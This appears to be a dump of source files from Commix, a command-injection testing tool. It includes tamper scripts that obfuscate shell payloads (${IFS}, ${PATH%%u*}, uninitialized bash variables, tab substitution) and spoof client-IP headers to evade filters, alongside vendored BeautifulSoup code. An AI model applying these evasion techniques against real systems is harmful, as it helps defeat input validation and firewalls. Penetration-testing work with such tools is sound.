"""
import sys
from src.utils import menu
from src.utils import settings
"""
About: Replaces slashes (/) with environment variable value "${PATH%%u*}".
Notes: This tamper script works against Unix-like target(s).
Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/
"""
__tamper__ = "slash2env"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_slash2env(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
payload = payload.replace("/", "${PATH%%u*}")
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_slash2env(payload)
else:
return payload
# eof commix-3.8/src/core/tamper/sleep2timeout.py 0000664 0000000 0000000 00000004562 14466364451 0021066 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
"""
About: Uses "timeout" function for time-based attacks.
* Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost".
* Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX".
Notes: This tamper script works against all targets.
"""
__tamper__ = "sleep2timeout"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def sleep_to_timeout_ping(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.TARGET_OS != settings.OS.WINDOWS:
for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload):
payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0]))
payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0")
else:
payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout")
return payload
if settings.CLASSIC_STATE != False or \
settings.EVAL_BASED_STATE != False or \
settings.FILE_BASED_STATE != False:
if settings.TRANFROM_PAYLOAD == None:
if settings.TRANFROM_PAYLOAD == None:
checks.time_relative_tamper(__tamper__)
settings.TRANFROM_PAYLOAD = False
return payload
else:
settings.TRANFROM_PAYLOAD = True
if settings.TRANFROM_PAYLOAD:
return sleep_to_timeout_ping(payload)
return payload
# eof commix-3.8/src/core/tamper/sleep2usleep.py 0000664 0000000 0000000 00000004015 14466364451 0020666 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
"""
About: Replaces "sleep" with "usleep" command in the generated payloads.
Notes: This tamper script works against Unix-like target(s).
Reference: http://man7.org/linux/man-pages/man3/usleep.3.html
"""
__tamper__ = "sleep2usleep"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def sleep_to_usleep(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload):
sleep_to_usleep = "u" + match.group(0).split(settings.WHITESPACES[0])[0]
if match.group(0).split(settings.WHITESPACES[0])[1] != "0":
usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + "0" * 6
else:
usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1]
payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay)
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.CLASSIC_STATE != False or \
settings.EVAL_BASED_STATE != False or \
settings.FILE_BASED_STATE != False:
if settings.TRANFROM_PAYLOAD == None:
checks.time_relative_tamper(__tamper__)
settings.TRANFROM_PAYLOAD = False
return payload
else:
settings.TRANFROM_PAYLOAD = True
if settings.TRANFROM_PAYLOAD:
return sleep_to_usleep(payload)
else:
return payload
# eof commix-3.8/src/core/tamper/space2htab.py 0000664 0000000 0000000 00000002015 14466364451 0020270 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
About: Replaces space character ('%20') with horizontal tab ('%09')
Notes: This tamper script works against all targets.
"""
__tamper__ = "space2htab"
space2htab = "%09"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.WHITESPACES[0] == "%20":
settings.WHITESPACES[0] = space2htab
elif space2htab not in settings.WHITESPACES:
settings.WHITESPACES.append(space2htab)
return payload
# eof commix-3.8/src/core/tamper/space2ifs.py 0000664 0000000 0000000 00000002571 14466364451 0020142 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
About: Replaces space character ('%20') with the internal field separator ('$IFS').
The internal field separator refers to a variable which defines the character
or characters used to separate a pattern into tokens for some operations.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "space2ifs"
space2ifs = "${IFS}"
def tamper(payload):
if space2ifs in settings.WHITESPACES[0] and \
settings.EVAL_BASED_STATE != False:
settings.WHITESPACES[0] = "\${IFS}"
if settings.TARGET_OS != settings.OS.WINDOWS:
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.WHITESPACES[0] == "%20":
settings.WHITESPACES[0] = space2ifs
elif space2ifs not in settings.WHITESPACES:
settings.WHITESPACES.append(space2ifs)
else:
if space2ifs in settings.WHITESPACES:
settings.WHITESPACES.remove(space2ifs)
return payload
# eof
commix-3.8/src/core/tamper/space2plus.py 0000664 0000000 0000000 00000002000 14466364451 0020327 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
About: Replaces space character ('%20') with plus ('+').
Notes: This tamper script works against all targets.
"""
__tamper__ = "space2plus"
space2plus = "+"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.WHITESPACES[0] == "%20":
settings.WHITESPACES[0] = space2plus
elif space2plus not in settings.WHITESPACES:
settings.WHITESPACES.append(space2plus)
return payload
# eofcommix-3.8/src/core/tamper/space2vtab.py 0000664 0000000 0000000 00000002253 14466364451 0020312 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
About: Replaces space character ('%20') with vertical tab ('%0b').
Notes: This tamper script works against Windows targets.
"""
__tamper__ = "space2vtab"
space2vtab = "%0b"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.WHITESPACES[0] == "%20":
settings.WHITESPACES[0] = space2vtab
elif space2vtab not in settings.WHITESPACES:
settings.WHITESPACES.append(space2vtab)
else:
if space2vtab in settings.WHITESPACES:
settings.WHITESPACES.remove(space2vtab)
return payload
# eof commix-3.8/src/core/tamper/uninitializedvariable.py 0000664 0000000 0000000 00000003206 14466364451 0022635 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import random
import string
from src.utils import settings
"""
About: Adds (randomly generated) uninitialized bash variables, between the characters of each command of the generated payloads.
Notes: This tamper script works against Unix-like target(s).
Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/
"""
__tamper__ = "uninitializedvariable"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_uninitialized_variable(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
num = 2
obf_char = "${" + ''.join(random.choice(string.ascii_letters) for x in range(num)) + "}"
payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload)
for word in settings.IGNORE_TAMPER_TRANSFORMATION:
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
if _ in payload:
payload = payload.replace(_,_.replace(obf_char,""))
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_uninitialized_variable(payload)
else:
return payload
# eof commix-3.8/src/core/tamper/xforwardedfor.py 0000664 0000000 0000000 00000003216 14466364451 0021134 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import random
from random import sample
from src.utils import settings
from src.core.compat import xrange
"""
About: Append a fake HTTP header 'X-Forwarded-For' (and alike).
"""
__tamper__ = "xforwardedfor"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(request):
def randomIP():
numbers = []
while not numbers or numbers[0] in (10, 172, 192):
numbers = sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in numbers)
request.add_header('X-Forwarded-For', randomIP())
request.add_header('X-Client-Ip', randomIP())
request.add_header('X-Real-Ip', randomIP())
request.add_header('CF-Connecting-IP', randomIP())
request.add_header('True-Client-IP', randomIP())
# Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection
request.add_header('Via', '1.1 Chrome-Compression-Proxy')
# Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007
request.add_header('CF-IPCountry', random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0])
# eof commix-3.8/src/core/testing.py 0000664 0000000 0000000 00000003542 14466364451 0016447 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import settings
"""
Runs the basic smoke testing
"""
def smoke_test():
info_msg = "Executing smoke test."
print(settings.print_info_msg(info_msg))
_ = True
file_paths = []
for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH):
file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames])
for filename in file_paths:
if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename:
path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0])
path = path.replace(settings.COMMIX_ROOT_PATH, '.')
path = path.replace(os.sep, '.').lstrip('.')
if "." in path:
try:
__import__(path)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Succeeded importing '" + str(path) + "' module."
print(settings.print_debug_msg(debug_msg))
except Exception as e:
error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'."
print(settings.print_error_msg(error_msg))
_ = False
result = "Smoke test "
if _:
result = result + "passed."
print(settings.print_bold_info_msg(result))
else:
result = result + "failed."
print(settings.print_bold_error_msg(result))
raise SystemExit()
commix-3.8/src/thirdparty/ 0000775 0000000 0000000 00000000000 14466364451 0015656 5 ustar 00root root 0000000 0000000 commix-3.8/src/thirdparty/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0017773 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/thirdparty/beautifulsoup/ 0000775 0000000 0000000 00000000000 14466364451 0020545 5 ustar 00root root 0000000 0000000 commix-3.8/src/thirdparty/beautifulsoup/__init__.py 0000664 0000000 0000000 00000006434 14466364451 0022665 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
Beautiful Soup
Elixir and Tonic
"The Screen-Scraper's Friend"
http://www.crummy.com/software/BeautifulSoup/
Beautiful Soup parses a (possibly invalid) XML or HTML document into a
tree representation. It provides methods and Pythonic idioms that make
it easy to navigate, search, and modify the tree.
A well-formed XML/HTML document yields a well-formed data
structure. An ill-formed XML/HTML document yields a correspondingly
ill-formed data structure. If your document is only locally
well-formed, you can use this library to find and process the
well-formed part of it.
Beautiful Soup works with Python 2.2 and up. It has no external
dependencies, but you'll have more success at converting data to UTF-8
if you also install these three packages:
* chardet, for auto-detecting character encodings
http://chardet.feedparser.org/
* cjkcodecs and iconv_codec, which add more encodings to the ones supported
by stock Python.
http://cjkpython.i18n.org/
Beautiful Soup defines classes for two main parsing strategies:
* BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific
language that kind of looks like XML.
* BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid
or invalid. This class has web browser-like heuristics for
obtaining a sensible parse tree in the face of common HTML errors.
Beautiful Soup also defines a class (UnicodeDammit) for autodetecting
the encoding of an HTML or XML document, and converting it to
Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser.
For more than you ever wanted to know about Beautiful Soup, see the
documentation:
http://www.crummy.com/software/BeautifulSoup/documentation.html
Here, have some legalese:
Copyright (c) 2004-2010, Leonard Richardson
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following
disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of the the Beautiful Soup Consortium and All
Night Kosher Bakery nor the names of its contributors may be
used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT.
"""
pass commix-3.8/src/thirdparty/beautifulsoup/beautifulsoup.py 0000664 0000000 0000000 00000234302 14466364451 0024012 0 ustar 00root root 0000000 0000000 """Beautiful Soup
Elixir and Tonic
"The Screen-Scraper's Friend"
http://www.crummy.com/software/BeautifulSoup/
Beautiful Soup parses a (possibly invalid) XML or HTML document into a
tree representation. It provides methods and Pythonic idioms that make
it easy to navigate, search, and modify the tree.
A well-formed XML/HTML document yields a well-formed data
structure. An ill-formed XML/HTML document yields a correspondingly
ill-formed data structure. If your document is only locally
well-formed, you can use this library to find and process the
well-formed part of it.
Beautiful Soup works with Python 2.2 and up. It has no external
dependencies, but you'll have more success at converting data to UTF-8
if you also install these three packages:
* chardet, for auto-detecting character encodings
http://chardet.feedparser.org/
* cjkcodecs and iconv_codec, which add more encodings to the ones supported
by stock Python.
http://cjkpython.i18n.org/
Beautiful Soup defines classes for two main parsing strategies:
* BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific
language that kind of looks like XML.
* BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid
or invalid. This class has web browser-like heuristics for
obtaining a sensible parse tree in the face of common HTML errors.
Beautiful Soup also defines a class (UnicodeDammit) for autodetecting
the encoding of an HTML or XML document, and converting it to
Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser.
For more than you ever wanted to know about Beautiful Soup, see the
documentation:
http://www.crummy.com/software/BeautifulSoup/documentation.html
Here, have some legalese:
Copyright (c) 2004-2010, Leonard Richardson
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following
disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of the the Beautiful Soup Consortium and All
Night Kosher Bakery nor the names of its contributors may be
used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT.
"""
from __future__ import generators
from __future__ import print_function
__author__ = "Leonard Richardson (leonardr@segfault.org)"
__version__ = "3.2.1"
__copyright__ = "Copyright (c) 2004-2012 Leonard Richardson"
__license__ = "New-style BSD"
import codecs
import types
import re
import sys
if sys.version_info >= (3, 0):
xrange = range
text_type = str
binary_type = bytes
basestring = str
else:
text_type = unicode
binary_type = str
try:
from htmlentitydefs import name2codepoint
except ImportError:
name2codepoint = {}
try:
set
except NameError:
from sets import Set as set
try:
import sgmllib
except ImportError:
from src.utils import sgmllib
try:
import markupbase
except ImportError:
import _markupbase as markupbase
#These hacks make Beautiful Soup able to parse XML with namespaces
sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*')
markupbase._declname_match = re.compile(r'[a-zA-Z][-_.:a-zA-Z0-9]*\s*').match
DEFAULT_OUTPUT_ENCODING = "utf-8"
def _match_css_class(str):
"""Build a RE to match the given CSS class."""
return re.compile(r"(^|.*\s)%s($|\s)" % str)
# First, the classes that represent markup elements.
class PageElement(object):
"""Contains the navigational information for some part of the page
(either a tag or a piece of text)"""
def _invert(h):
"Cheap function to invert a hash."
i = {}
for k,v in h.items():
i[v] = k
return i
XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'",
"quot" : '"',
"amp" : "&",
"lt" : "<",
"gt" : ">" }
XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS)
def setup(self, parent=None, previous=None):
"""Sets up the initial relations between this element and
other elements."""
self.parent = parent
self.previous = previous
self.next = None
self.previousSibling = None
self.nextSibling = None
if self.parent and self.parent.contents:
self.previousSibling = self.parent.contents[-1]
self.previousSibling.nextSibling = self
def replaceWith(self, replaceWith):
oldParent = self.parent
myIndex = self.parent.index(self)
if hasattr(replaceWith, "parent")\
and replaceWith.parent is self.parent:
# We're replacing this element with one of its siblings.
index = replaceWith.parent.index(replaceWith)
if index and index < myIndex:
# Furthermore, it comes before this element. That
# means that when we extract it, the index of this
# element will change.
myIndex = myIndex - 1
self.extract()
oldParent.insert(myIndex, replaceWith)
def replaceWithChildren(self):
myParent = self.parent
myIndex = self.parent.index(self)
self.extract()
reversedChildren = list(self.contents)
reversedChildren.reverse()
for child in reversedChildren:
myParent.insert(myIndex, child)
def extract(self):
"""Destructively rips this element out of the tree."""
if self.parent:
try:
del self.parent.contents[self.parent.index(self)]
except ValueError:
pass
#Find the two elements that would be next to each other if
#this element (and any children) hadn't been parsed. Connect
#the two.
lastChild = self._lastRecursiveChild()
nextElement = lastChild.next
if self.previous:
self.previous.next = nextElement
if nextElement:
nextElement.previous = self.previous
self.previous = None
lastChild.next = None
self.parent = None
if self.previousSibling:
self.previousSibling.nextSibling = self.nextSibling
if self.nextSibling:
self.nextSibling.previousSibling = self.previousSibling
self.previousSibling = self.nextSibling = None
return self
def _lastRecursiveChild(self):
"Finds the last element beneath this object to be parsed."
lastChild = self
while hasattr(lastChild, 'contents') and lastChild.contents:
lastChild = lastChild.contents[-1]
return lastChild
def insert(self, position, newChild):
if isinstance(newChild, basestring) \
and not isinstance(newChild, NavigableString):
newChild = NavigableString(newChild)
position = min(position, len(self.contents))
if hasattr(newChild, 'parent') and newChild.parent is not None:
# We're 'inserting' an element that's already one
# of this object's children.
if newChild.parent is self:
index = self.index(newChild)
if index > position:
# Furthermore we're moving it further down the
# list of this object's children. That means that
# when we extract this element, our target index
# will jump down one.
position = position - 1
newChild.extract()
newChild.parent = self
previousChild = None
if position == 0:
newChild.previousSibling = None
newChild.previous = self
else:
previousChild = self.contents[position-1]
newChild.previousSibling = previousChild
newChild.previousSibling.nextSibling = newChild
newChild.previous = previousChild._lastRecursiveChild()
if newChild.previous:
newChild.previous.next = newChild
newChildsLastElement = newChild._lastRecursiveChild()
if position >= len(self.contents):
newChild.nextSibling = None
parent = self
parentsNextSibling = None
while not parentsNextSibling:
parentsNextSibling = parent.nextSibling
parent = parent.parent
if not parent: # This is the last element in the document.
break
if parentsNextSibling:
newChildsLastElement.next = parentsNextSibling
else:
newChildsLastElement.next = None
else:
nextChild = self.contents[position]
newChild.nextSibling = nextChild
if newChild.nextSibling:
newChild.nextSibling.previousSibling = newChild
newChildsLastElement.next = nextChild
if newChildsLastElement.next:
newChildsLastElement.next.previous = newChildsLastElement
self.contents.insert(position, newChild)
def append(self, tag):
"""Appends the given tag to the contents of this tag."""
self.insert(len(self.contents), tag)
def findNext(self, name=None, attrs={}, text=None, **kwargs):
"""Returns the first item that matches the given criteria and
appears after this Tag in the document."""
return self._findOne(self.findAllNext, name, attrs, text, **kwargs)
def findAllNext(self, name=None, attrs={}, text=None, limit=None,
**kwargs):
"""Returns all items that match the given criteria and appear
after this Tag in the document."""
return self._findAll(name, attrs, text, limit, self.nextGenerator,
**kwargs)
def findNextSibling(self, name=None, attrs={}, text=None, **kwargs):
"""Returns the closest sibling to this Tag that matches the
given criteria and appears after this Tag in the document."""
return self._findOne(self.findNextSiblings, name, attrs, text,
**kwargs)
def findNextSiblings(self, name=None, attrs={}, text=None, limit=None,
**kwargs):
"""Returns the siblings of this Tag that match the given
criteria and appear after this Tag in the document."""
return self._findAll(name, attrs, text, limit,
self.nextSiblingGenerator, **kwargs)
fetchNextSiblings = findNextSiblings # Compatibility with pre-3.x
def findPrevious(self, name=None, attrs={}, text=None, **kwargs):
"""Returns the first item that matches the given criteria and
appears before this Tag in the document."""
return self._findOne(self.findAllPrevious, name, attrs, text, **kwargs)
def findAllPrevious(self, name=None, attrs={}, text=None, limit=None,
**kwargs):
"""Returns all items that match the given criteria and appear
before this Tag in the document."""
return self._findAll(name, attrs, text, limit, self.previousGenerator,
**kwargs)
fetchPrevious = findAllPrevious # Compatibility with pre-3.x
def findPreviousSibling(self, name=None, attrs={}, text=None, **kwargs):
"""Returns the closest sibling to this Tag that matches the
given criteria and appears before this Tag in the document."""
return self._findOne(self.findPreviousSiblings, name, attrs, text,
**kwargs)
def findPreviousSiblings(self, name=None, attrs={}, text=None,
limit=None, **kwargs):
"""Returns the siblings of this Tag that match the given
criteria and appear before this Tag in the document."""
return self._findAll(name, attrs, text, limit,
self.previousSiblingGenerator, **kwargs)
fetchPreviousSiblings = findPreviousSiblings # Compatibility with pre-3.x
def findParent(self, name=None, attrs={}, **kwargs):
"""Returns the closest parent of this Tag that matches the given
criteria."""
# NOTE: We can't use _findOne because findParents takes a different
# set of arguments.
r = None
l = self.findParents(name, attrs, 1)
if l:
r = l[0]
return r
def findParents(self, name=None, attrs={}, limit=None, **kwargs):
"""Returns the parents of this Tag that match the given
criteria."""
return self._findAll(name, attrs, None, limit, self.parentGenerator,
**kwargs)
fetchParents = findParents # Compatibility with pre-3.x
#These methods do the real heavy lifting.
def _findOne(self, method, name, attrs, text, **kwargs):
r = None
l = method(name, attrs, text, 1, **kwargs)
if l:
r = l[0]
return r
def _findAll(self, name, attrs, text, limit, generator, **kwargs):
"Iterates over a generator looking for things that match."
if isinstance(name, SoupStrainer):
strainer = name
# (Possibly) special case some findAll*(...) searches
elif text is None and not limit and not attrs and not kwargs:
# findAll*(True)
if name is True:
return [element for element in generator()
if isinstance(element, Tag)]
# findAll*('tag-name')
elif isinstance(name, basestring):
return [element for element in generator()
if isinstance(element, Tag) and
element.name == name]
else:
strainer = SoupStrainer(name, attrs, text, **kwargs)
# Build a SoupStrainer
else:
strainer = SoupStrainer(name, attrs, text, **kwargs)
results = ResultSet(strainer)
g = generator()
while True:
try:
i = next(g)
except StopIteration:
break
if i:
found = strainer.search(i)
if found:
results.append(found)
if limit and len(results) >= limit:
break
return results
#These Generators can be used to navigate starting from both
#NavigableStrings and Tags.
def nextGenerator(self):
i = self
while i is not None:
i = i.next
yield i
def nextSiblingGenerator(self):
i = self
while i is not None:
i = i.nextSibling
yield i
def previousGenerator(self):
i = self
while i is not None:
i = i.previous
yield i
def previousSiblingGenerator(self):
i = self
while i is not None:
i = i.previousSibling
yield i
def parentGenerator(self):
i = self
while i is not None:
i = i.parent
yield i
# Utility methods
def substituteEncoding(self, str, encoding=None):
encoding = encoding or "utf-8"
return str.replace("%SOUP-ENCODING%", encoding)
def toEncoding(self, s, encoding=None):
"""Encodes an object to a string in some encoding, or to Unicode.
."""
if isinstance(s, text_type):
if encoding:
s = s.encode(encoding)
elif isinstance(s, binary_type):
s = s.encode(encoding or "utf8")
else:
s = self.toEncoding(str(s), encoding or "utf8")
return s
BARE_AMPERSAND_OR_BRACKET = re.compile(r"([<>]|&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;))")
def _sub_entity(self, x):
"""Used with a regular expression to substitute the
appropriate XML entity for an XML special character."""
return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";"
class NavigableString(text_type, PageElement):
def __new__(cls, value):
"""Create a new NavigableString.
When unpickling a NavigableString, this method is called with
the string in DEFAULT_OUTPUT_ENCODING. That encoding needs to be
passed in to the superclass's __new__ or the superclass won't know
how to handle non-ASCII characters.
"""
if isinstance(value, text_type):
return text_type.__new__(cls, value)
return text_type.__new__(cls, value, DEFAULT_OUTPUT_ENCODING)
def __getnewargs__(self):
return (NavigableString.__str__(self),)
def __getattr__(self, attr):
"""text.string gives you text. This is for backwards
compatibility for Navigable*String, but for CData* it lets you
get the string without the CData wrapper."""
if attr == 'string':
return self
